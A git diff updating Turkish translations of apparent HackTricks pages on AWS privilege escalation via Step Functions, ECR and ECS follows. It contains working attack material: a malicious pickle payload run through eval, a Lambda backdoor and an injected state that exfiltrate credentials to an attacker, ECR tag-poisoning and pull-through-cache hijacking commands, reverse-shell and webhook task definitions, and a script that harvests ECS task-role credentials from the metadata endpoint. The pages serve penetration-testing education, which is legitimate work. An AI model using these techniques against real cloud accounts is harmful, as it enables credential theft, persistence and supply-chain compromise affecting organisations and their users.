Lambda saldırgan kontrolündeki verileri unpickle ederse, kötü amaçlı bir pickle deserialization sırasında kod çalıştırabilir. Lambda runtime'ta bir Python ifadesini değerlendiren örnek payload: +```bash +PAYLOAD_B64="$(python3 - <<'PY' +import base64, pickle + +class P: +def __reduce__(self): +# Replace with a safe proof (e.g. "1+1") or a target-specific read. +return (eval, ("__import__('os').popen('id').read()",)) + +print(base64.b64encode(pickle.dumps(P())).decode()) +PY +)" + +EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)" +aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text +``` +**Impact**: Görev rolünün sahip olduğu izinler (Secrets Manager reads, S3 writes, KMS decrypt, etc.) hazırlanmış girdiler aracılığıyla erişilebilir hale gelebilir ve sonuç Step Functions yürütme çıktısında döndürülebilir. + ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` Aşağıdaki izinlere sahip bir kullanıcıyı veya rolü ele geçiren bir saldırgan: @@ -87,23 +129,23 @@ Aşağıdaki izinlere sahip bir kullanıcıyı veya rolü ele geçiren bir sald ] } ``` -...bir saldırgan Lambda backdooring ile Step Function mantık manipülasyonunu birleştirerek **high-impact and stealthy post-exploitation attack** gerçekleştirebilir. +...gerçekleştirebilir **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation. -Bu senaryo, mağdurun **AWS Step Functions ile hassas verileri işleyen iş akışlarını düzenlemek için** kullandığını varsayar; örneğin credentials, tokens veya PII. +Bu senaryo, kurbanın **AWS Step Functions kullanarak hassas girdileri işleyen iş akışlarını orkestre ettiğini** varsayar; örneğin credentials, tokens veya PII. -Örnek hedef çağrısı: +Örnek kurban çağrısı: ```bash aws stepfunctions start-execution \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim ``` -Step Function `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırıldıysa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir: +Eğer Step Function, `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırıldıysa, saldırgan **two stealthy attack variants** ile ilerleyebilir: --- -#### Lambda fonksiyonunu güncelleme +#### Lambda fonksiyonunu güncelledi -Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, girdi verilerini sessizce exfiltrate etmek için değiştirir. +Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, giriş verilerini sessizce exfiltrate etmek için değiştirir. ```python # send_to_attacker.py import requests @@ -122,9 +164,9 @@ aws lambda update-function-code \ ``` --- -#### Step Function'a Bir Malicious State Ekle +#### Step Function'a Kötü Amaçlı Bir State Ekle -Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başına bir **exfiltration state** enjekte edebilir. +Alternatif olarak, saldırgan, Step Function tanımını güncelleyerek iş akışının başına bir **exfiltration state** enjekte edebilir. ```malicious_state_definition.json { "Comment": "Backdoored for Exfiltration", @@ -145,7 +187,7 @@ aws stepfunctions update-state-machine \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --definition file://malicious_state_definition.json --profile attacker ``` -Saldırgan, durum tanımını daha gizlice şu şekilde güncelleyebilir: +Saldırgan, state tanımını daha da gizli olacak şekilde şu şekilde güncelleyebilir: { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", @@ -164,22 +206,22 @@ Saldırgan, durum tanımını daha gizlice şu şekilde güncelleyebilir: } } } -bu sayede kurban bunu fark etmeyecektir. +kurban farklı olduğunu fark etmeyecektir --- -### Kurban Yapılandırması (Exploit için Bağlam) +### Kurban Kurulumu (Exploit için Bağlam) -- A Step Function (`LegitStateMachine`) hassas kullanıcı girdilerini işlemek için kullanılır. -- Bir veya daha fazla Lambda fonksiyonunu çağırır, örn. `LegitBusinessLogic`. +- Hassas kullanıcı girdilerini işlemek için bir Step Function (`LegitStateMachine`) kullanılır. +- `LegitBusinessLogic` gibi bir veya daha fazla Lambda fonksiyonunu çağırır. --- **Potansiyel Etki**: -- Hassas verilerin (secrets, credentials, API keys, PII dahil) sessiz exfiltration'u. -- İş akışı yürütülmesinde görünür hata veya başarısızlık olmaz. -- Lambda kodu veya yürütme izleri denetlenmeden tespit edilmesi zordur. -- Backdoor kodda veya ASL mantığında kaldığı sürece uzun vadeli persistence sağlar. +- Secrets, credentials, API keys ve PII dahil hassas verilerin sessizce exfiltration edilmesi. +- İş akışı yürütümünde görünür hata veya başarısızlık olmaz. +- Lambda kodu veya execution traces denetimi yapılmadan tespiti zor olur. +- Backdoor kodda veya ASL logic'te kaldığı sürece long-term persistence sağlar. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md index 1739d5bc7..ecf07f71e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -6,21 +6,31 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -Bu izinlere sahip bir saldırgan **`ecr:GetAuthorizationToken`** ve **`ecr:BatchGetImage`** ile ECR'ye giriş yapıp imajları indirebilir. +Bu izinlere sahip bir saldırgan **`ecr:GetAuthorizationToken`** ve **`ecr:BatchGetImage`** ile ECR'ye giriş yapabilir ve görüntüleri indirebilir. -For more info on how to download images: +Daha fazla bilgi için nasıl görüntü indirileceğini inceleyin: {{#ref}} ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md {{#endref}} -**Olası Etki:** Trafik içindeki hassas bilgileri yakalayarak dolaylı privesc. +**Potential Impact:** Trafikteki hassas bilgileri yakalayarak dolaylı privesc. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -Tüm bu izinlere sahip bir saldırgan **ECR'ye giriş yapıp imaj yükleyebilir**. Bu, bu imajların kullanıldığı diğer ortamlarda ayrıcalıkları yükseltmek için kullanılabilir. +Bu izinlerin tamamına sahip bir saldırgan **ECR'ye giriş yapabilir ve görüntüleri yükleyebilir**. Bu, bu görüntülerin kullanıldığı diğer ortamlarda ayrıcalık yükseltmek için faydalı olabilir. -To learn how to upload a new image/update one, check: +Ayrıca, `ecr:PutImage` mevcut bir etiketi (örneğin `stable` / `prod`) o etikete farklı bir image manifesti yükleyerek **üzerine yazmak** için kullanılabilir; bu da etiket tabanlı dağıtımların etkili şekilde ele geçirilmesi anlamına gelir. + +Bu, aşağıdakiler gibi downstream tüketiciler etiketle dağıtım yapıp etiket değişikliklerinde **auto-refresh** yaptığında özellikle etkili olur: + +- **Lambda container image functions** (`PackageType=Image`) `.../repo:stable`'a referans veren +- ECS services / Kubernetes workloads `repo:prod` (digest pinlemesi olmadan) çeken +- ECR olaylarında yeniden dağıtım yapan herhangi bir CI/CD + +Bu durumlarda, bir etiket üzerine yazma tüketici ortamında **remote code execution**'a ve o iş yükü tarafından kullanılan IAM role ayrıcalıklarına yükselme ile sonuçlanabilir (örneğin, `secretsmanager:GetSecretValue` iznine sahip bir Lambda execution role). + +Yeni bir image yükleme/güncelleme nasıl yapılır öğrenmek için bakın: {{#ref}} ../../aws-services/aws-eks-enum.md @@ -28,18 +38,18 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Önceki bölümle aynı, ancak halka açık depolar için. +Önceki bölüme benzer, ancak public repository'ler için. ### `ecr:SetRepositoryPolicy` -Bu izne sahip bir saldırgan **değiştirebilir** **depo** **politikasını** kendine (veya hatta herkese) **okuma/yazma erişimi** verecek şekilde.\ -Örneğin, bu örnekte okuma erişimi herkese verilmiştir. +Bu izne sahip bir saldırgan repository **policy**'sini değiştirerek kendine (veya herkese) **read/write access** verebilir.\ +Örneğin, aşağıdaki örnekte okuma izni herkese verilmiştir. ```bash aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` -İçeriği `my-policy.json`: +`my-policy.json` içeriği: ```json { "Version": "2008-10-17", @@ -59,8 +69,8 @@ aws ecr set-repository-policy \ ``` ### `ecr-public:SetRepositoryPolicy` -Önceki bölüme benzer, ancak kamuya açık depolar içindir.\ -Bir saldırgan, bir ECR Public repository'sinin **repository policy**'sini değiştirerek yetkisiz halka açık erişim sağlayabilir veya ayrıcalıklarını yükseltebilir. +Önceki bölümdekiyle aynı, ancak public repositories için.\ +Bir saldırgan bir ECR Public repository'nin **depo politikasını değiştirebilir** yetkisiz genel erişim vermek veya ayrıcalıklarını yükseltmek için. ```bash # Create a JSON file with the malicious public repository policy echo '{ @@ -87,11 +97,11 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**Potential Impact**: ECR Public repository'ye yetkisiz genel erişim — herhangi bir kullanıcının image'ları push, pull veya delete etmesine izin verir. +**Olası Etki**: ECR Public repository'ye yetkisiz genel erişim, herhangi bir kullanıcının push, pull, or delete images yapmasına izin verir. ### `ecr:PutRegistryPolicy` -Bu izne sahip bir saldırgan, **registry policy**'yi **change** ederek kendisine, hesabına (veya hatta herkese) **read/write access** verebilir. +Bu izne sahip bir saldırgan, **kayıt defteri politikasını** **değiştirerek** kendisine, hesabına (veya hatta herkese) **okuma/yazma erişimi** verebilir. ```bash aws ecr set-repository-policy \ --repository-name \ @@ -99,40 +109,40 @@ aws ecr set-repository-policy \ ``` ### ecr:CreatePullThroughCacheRule -ECR Pull Through Cache (PTC) kurallarını, saldırganın kontrolündeki upstream namespace'ini güvenilen bir private ECR öneğiyle eşlemek için kötüye kullanın. Bu, private ECR'den çeken iş yüklerinin private ECR'ye herhangi bir push yapılmaksızın saldırgan görüntülerini şeffaf şekilde almasını sağlar. +ECR Pull Through Cache (PTC) kurallarını, attacker-controlled bir upstream namespace'i trusted private ECR önekiyle eşleştirmek için kötüye kullanın. Bu, private ECR'den çeken iş yüklerinin private ECR'ye herhangi bir push yapılmadan şeffaf biçimde attacker tarafından sağlanan imajları almasını sağlar. -- Gerekli izinler: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Eğer ECR Public upstream kullanıyorsanız: ecr-public:* ile public repo oluşturma/push yapma. +- Gerekli izinler: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Eğer ECR Public upstream kullanılıyorsa: public repo'yu oluşturmak/push etmek için ecr-public:*. - Test edilen upstream: public.ecr.aws Adımlar (örnek): -1. ECR Public içinde saldırgan görüntüsü hazırlayın +1. ECR Public'te attacker imajı hazırla # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 docker login public.ecr.aws/ docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test -2. Güvenilen bir öneki public registry'ye eşlemek için private ECR'de PTC kuralı oluşturun +2. Private ECR'de trusted bir öneki public registry'ye eşleştirmek için PTC kuralı oluştur aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws -3. Saldırgan görüntüsünü private ECR yolu üzerinden çekin (private ECR'ye push yapılmadı) +3. Private ECR yolunu kullanarak attacker imajını çek (private ECR'ye herhangi bir push yapılmadı) docker login .dkr.ecr.us-east-2.amazonaws.com docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test -Potential Impact: Seçilen önek altındaki dahili image isimlerini ele geçirerek tedarik zinciri kompromisi. Bu öneği kullanan private ECR'den görüntü çeken herhangi bir iş yükü saldırgan kontrollü içerik alacaktır. +Olası Etki: Seçilen önek altında dahili imaj isimlerini ele geçirerek tedarik zinciri kompromisi. Bu öneki kullanan private ECR'den imaj çeken herhangi bir iş yükü attacker-controlled içerik alacaktır. ### `ecr:PutImageTagMutability` -Bu izni, tag immutability'ye sahip bir repository'yi mutable hale getirip trusted tag'leri (ör. latest, stable, prod) saldırgan kontrollü içerikle üzerine yazmak için kötüye kullanın. +Bu izni, tag immutability olan bir repository'yi mutable hale getirip trusted tag'leri (ör. latest, stable, prod) attacker-controlled içerikle üzerine yazarak kötüye kullanın. -- Gerekli izinler: `ecr:PutImageTagMutability` artı push yetenekleri (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). -- Etki: Tag isimlerini değiştirmeden immutable tag'leri sessizce değiştirerek tedarik zinciri kompromisi. +- Gerekli izinler: `ecr:PutImageTagMutability` ve push yetenekleri (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Etki: Tag isimlerini değiştirmeden immutable tag'leri sessizce değiştirerek tedarik zinciri kompromisine yol açar. Adımlar (örnek):
-Mutability'yi değiştirerek immutable bir tag'i zehirleyin +Mutability'yi değiştirerek immutable bir tag'i zehirleme ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM @@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
-#### Küresel registry hijack ROOT Pull-Through Cache rule aracılığıyla +#### ROOT Pull-Through Cache kuralı aracılığıyla global registry hijack -Özel ECR registry'sinin kökünü upstream public registry'ye eşlemek için özel `ecrRepositoryPrefix=ROOT` kullanarak bir Pull-Through Cache (PTC) kuralı oluşturun (ör. ECR Public). Özel registry'de var olmayan bir repository'ye yapılan herhangi bir pull, upstream'den şeffaf şekilde servis edilir; bu, private ECR'ye push yapmadan supply-chain hijacking'e olanak tanır. +Özel `ecrRepositoryPrefix=ROOT` kullanarak Pull-Through Cache (PTC) kuralı oluşturun; bu, private ECR registry'nin kökünü upstream public registry'ye (ör. ECR Public) eşler. Private registry'de var olmayan bir repository'ye yapılan herhangi bir pull, upstream'den şeffaf şekilde servis edilir; böylece private ECR'ye push yapmadan supply-chain hijacking mümkün olur. - Gerekli izinler: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. -- Etkisi: `.dkr.ecr..amazonaws.com/:` adresine yapılan pull'lar başarılı olur ve upstream kaynaklı private repository'leri otomatik oluşturur. +- Etkisi: Pull'lar `.dkr.ecr..amazonaws.com/:` adresine başarılı olur ve upstream kaynaklı private repo'ları otomatik oluşturur. -> Not: `ROOT` kuralları için `--upstream-repository-prefix`'i belirtmeyin. Belirtirseniz doğrulama hatası oluşur. +> Not: `ROOT` kuralları için `--upstream-repository-prefix` parametresini belirtmeyin. Belirtilmesi doğrulama hatası oluşturacaktır.
Demo (us-east-1, upstream public.ecr.aws) @@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al ```
-### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`'u düşürerek registry policy Deny'larını bypass etme) +### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`'u düşürerek registry policy Deny'larını atlatma) -`ecr:PutAccountSetting`'i kullanarak registry policy scope'u `V2` (policy tüm ECR eylemlerine uygulanır) durumundan `V1` (`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` için uygulanır) durumuna geçirin. Kısıtlayıcı bir registry policy Deny, `CreatePullThroughCacheRule` gibi eylemleri engelliyorsa, scope'u `V1`'e düşürmek bu uygulamayı kaldırır ve identity‑policy Allow'lar etkili olur. +`ecr:PutAccountSetting`'i kullanarak registry policy kapsamını `V2`'den (tüm ECR işlemlerine uygulanan politika) `V1`'e (sadece `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`'e uygulanan politika) geçirin. Eğer kısıtlayıcı bir registry policy Deny, `CreatePullThroughCacheRule` gibi işlemleri engelliyorsa, kapsamı `V1`'e düşürmek bu yaptırımı kaldırır ve identity‑policy Allows yürürlüğe girer. -- Gerekli perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. -- Etki: Scope'u geçici olarak `V1` olarak ayarlayarak daha önce registry policy Deny ile engellenen ECR eylemlerini gerçekleştirme yeteneği (ör. PTC kuralları oluşturma). +- Gerekli izinler: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Etki: Kapsamı geçici olarak `V1` yaparak daha önce registry policy Deny tarafından engellenen ECR işlemlerini (ör. PTC kuralları oluşturma) gerçekleştirme yeteneği. -Steps (example): +Adımlar (örnek):
-CreatePullThroughCacheRule'daki registry policy Deny'ı V1'e geçerek bypass etme +CreatePullThroughCacheRule için registry policy Deny'ını V1'e geçerek atlatma ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md index 37ce7026e..69efb77e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -12,7 +12,7 @@ ECS hakkında daha fazla **bilgi** için: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -ECS'de `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini suistimal eden bir saldırgan, metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içeren **yeni bir task definition oluşturabilir** ve bunu **çalıştırabilir**. +ECS'de `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **kötü amaçlı bir container** içeren **yeni bir task definition oluşturabilir** ve **bunu çalıştırabilir**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -webhook.site gibi bir site kullanarak bir webhook oluşturun +webhook.site gibi bir site kullanarak bir webhook oluşturun. ```bash # Create file container-definition.json @@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potential Impact:** Farklı bir ECS rolüne doğrudan privesc. +**Potential Impact:** Doğrudan farklı bir ECS role privesc. ### `iam:PassRole`,`ecs:RunTask` -`iam:PassRole` ve `ecs:RunTask` izinlerine sahip bir saldırgan, değiştirilmiş **execution role**, **task role** ve konteynerin **command** değerleriyle yeni bir ECS task başlatabilir. `ecs run-task` CLI komutu, çalışma zamanında `executionRoleArn`, `taskRoleArn` ve konteynerin `command`'ını görev tanımına dokunmadan değiştirmeye izin veren `--overrides` bayrağını içerir. +`iam:PassRole` ve `ecs:RunTask` izinlerine sahip bir saldırgan, **execution role**, **task role** ve konteynerin **command** değerleri değiştirilmiş yeni bir ECS task'ı başlatabilir. `ecs run-task` CLI komutu `--overrides` bayrağına sahiptir; bu bayrak, task definition'a dokunmadan runtime'da `executionRoleArn`, `taskRoleArn` ve konteynerin `command` değerlerini değiştirmeye izin verir. -`taskRoleArn` ve `executionRoleArn` için belirtilen IAM rolleri, trust policy'lerinde `ecs-tasks.amazonaws.com` tarafından üstlenilmesine izin verecek şekilde yapılandırılmalıdır. +`taskRoleArn` ve `executionRoleArn` için belirtilen IAM rollerinin trust policy'sinde `ecs-tasks.amazonaws.com` tarafından assume edilmesine izin verilmelidir. -Ayrıca saldırganın bilmesi gerekir: -- ECS küme adı -- VPC alt ağı -- Güvenlik grubu (Eğer güvenlik grubu belirtilmezse varsayılan kullanılacaktır) -- Task Definition adı ve revizyonu -- Konteynerin adı +Ayrıca, saldırganın bilmesi gerekenler: +- ECS cluster adı +- VPC Subnet +- Security group (Eğer herhangi bir security group belirtilmezse varsayılan olan kullanılacaktır) +- Task Definition Name ve revision +- Container adı ```bash aws ecs run-task \ --cluster \ @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -Yukarıdaki kod parçasında saldırgan yalnızca `taskRoleArn` değerini geçersiz kılıyor. Ancak saldırının gerçekleşebilmesi için saldırganın komutta belirtilen `taskRoleArn` ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir. +Kod örneğinde saldırgan yalnızca `taskRoleArn` değerini değiştirir. Ancak saldırının gerçekleşebilmesi için saldırganın komutta belirtilen `taskRoleArn` ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir. -Eğer saldırganın geçebildiği IAM rolü, ECR imajını çekmek ve ECS görevini başlatmak için yeterli ayrıcalıklara sahipse (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirtebilir. +Eğer saldırganın pass edebildiği IAM rolü bir ECR görüntüsünü çekip ECS task'ı başlatmak için yeterli ayrıcalıklara sahipse (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirtebilir. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -121,12 +121,12 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ] }' ``` -**Potential Impact:** Herhangi bir ECS task role'üne doğrudan privesc. +**Potansiyel Etki:** Herhangi bir ECS task role'e doğrudan privesc. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Önceki örnekte olduğu gibi, ECS'de **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan bir **kötücül container** içeren yeni bir task definition **üretebilir** ve **çalıştırabilir**.\ -Ancak bu durumda, kötü amaçlı task definition'ı çalıştırmak için bir container instance gereklidir. +Önceki örnekte olduğu gibi, ECS'deki **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içeren **yeni bir task definition oluşturabilir** ve **çalıştırabilir**.\ +Ancak bu durumda, kötü amaçlı task definition'ı çalıştırmak için bir container instance'a ihtiyaç vardır. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -144,9 +144,9 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` **Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc. -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Önceki örnekte olduğu gibi, ECS'teki **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içeren **yeni bir task definition oluşturabilir** ve bunu en az 1 **task** çalışacak şekilde yeni bir **servis** oluşturarak **çalıştırabilir**. +Önceki örnekte olduğu gibi, ECS'te **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **kötü amaçlı bir container** içeren yeni bir **task definition** oluşturabilir ve en az 1 görev çalışacak şekilde yeni bir service oluşturarak bunu çalıştırabilir. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -169,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potential Impact:** Herhangi bir ECS role doğrudan privesc. +**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Aslında, sadece bu izinlerle overrides kullanarak bir container içinde herhangi bir role ile keyfi komutlar çalıştırmak mümkün, örneğin: +Aslında, sadece bu izinlerle overrides kullanarak herhangi bir role sahip bir container içinde rastgele komutlar çalıştırmak mümkün: ```bash aws ecs run-task \ --task-definition "" \ @@ -181,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc. +**Potential Impact:** Herhangi bir ECS role doğrudan privesc. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Bu senaryo öncekiyle benzer fakat **`iam:PassRole`** izni **olmadan**.\ -Bu hâlâ ilginç çünkü eğer rastgele bir container çalıştırabiliyorsanız, rolü olmasa bile node'dan kaçmak için **privileged container** çalıştırabilir ve node üzerinde çalışan **EC2 IAM role** ile **diğer ECS container'larının rollerini** çalabilirsiniz.\ -Hatta ele geçirdiğiniz EC2 instance'ında diğer task'ların çalışmasını **force other tasks to run inside the EC2 instance** zorlayarak onların kimlik bilgilerini çalabilirsiniz (detaylar için [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). +Bu senaryo önceki olanlara benziyor ancak **`iam:PassRole`** izni **olmaksızın**.\ +Bu hâlâ ilginç çünkü role sahibi olmasa bile rastgele bir container çalıştırabiliyorsanız, node'a kaçmak için **run a privileged container to escape** yapabilir ve node'da çalışan **steal the EC2 IAM role** ve **other ECS containers roles**'u ele geçirebilirsiniz.\ +Hatta ele geçirdiğiniz EC2 instance'ı içinde **force other tasks to run inside the EC2 instance** zorlayarak onların kimlik bilgilerini çalabilirsiniz (ayrıntılar için [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) bölümüne bakın). > [!WARNING] -> Bu saldırı yalnızca **ECS cluster** EC2 instance'larını kullanıyorsa ve Fargate değilse mümkündür. +> Bu saldırı yalnızca **ECS cluster is using EC2** instances kullanılıyorsa ve Fargate kullanılmıyorsa mümkündür. ```bash printf '[ { @@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Bir saldırganın **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** izinlerine sahip olması durumunda, çalışan bir container içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü sızdırabilir (aws ecs execute-command komutunu çalıştırmak için describe izinlerine ihtiyaç vardır).\ -Ancak, bunu yapabilmek için container instance'ın **ExecuteCommand agent**'ını çalıştırıyor olması gerekir (varsayılan olarak çalışmıyor). +Bir saldırgan, **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** iznine sahip olduğunda, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM role'ü exfiltrate edebilir (`aws ecs execute-command`'ı çalıştırmak için describe permissions gereklidir).\ +Ancak, bunu yapabilmek için konteyner örneğinin **ExecuteCommand agent**'ını çalıştırıyor olması gerekir (varsayılan olarak çalışmaz). -Bu nedenle saldırgan şunları deneyebilir: +Bu nedenle, saldırgan şunları deneyebilir: -- **Her çalışan container'da bir komut çalıştırmayı dene** +- **Her çalışan konteynerde bir komut çalıştırmayı denemek** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -256,18 +256,34 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` +Container içinde bir shell elde ettiğinizde, genellikle task credentials endpoint'inden **task role credentials**'ı çıkarıp bunları container dışında yeniden kullanabilirsiniz: +```sh +# Inside the container: +echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq + +# If you want to use them locally, print shell exports: +python3 - <<'PY' +import json, os, urllib.request +u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"] +d = json.load(urllib.request.urlopen(u, timeout=2)) +print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"]) +print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"]) +print("export AWS_SESSION_TOKEN=" + d["Token"]) +PY +``` - Eğer kullanıcının **`ecs:RunTask`** izni varsa, `aws ecs run-task --enable-execute-command [...]` ile bir 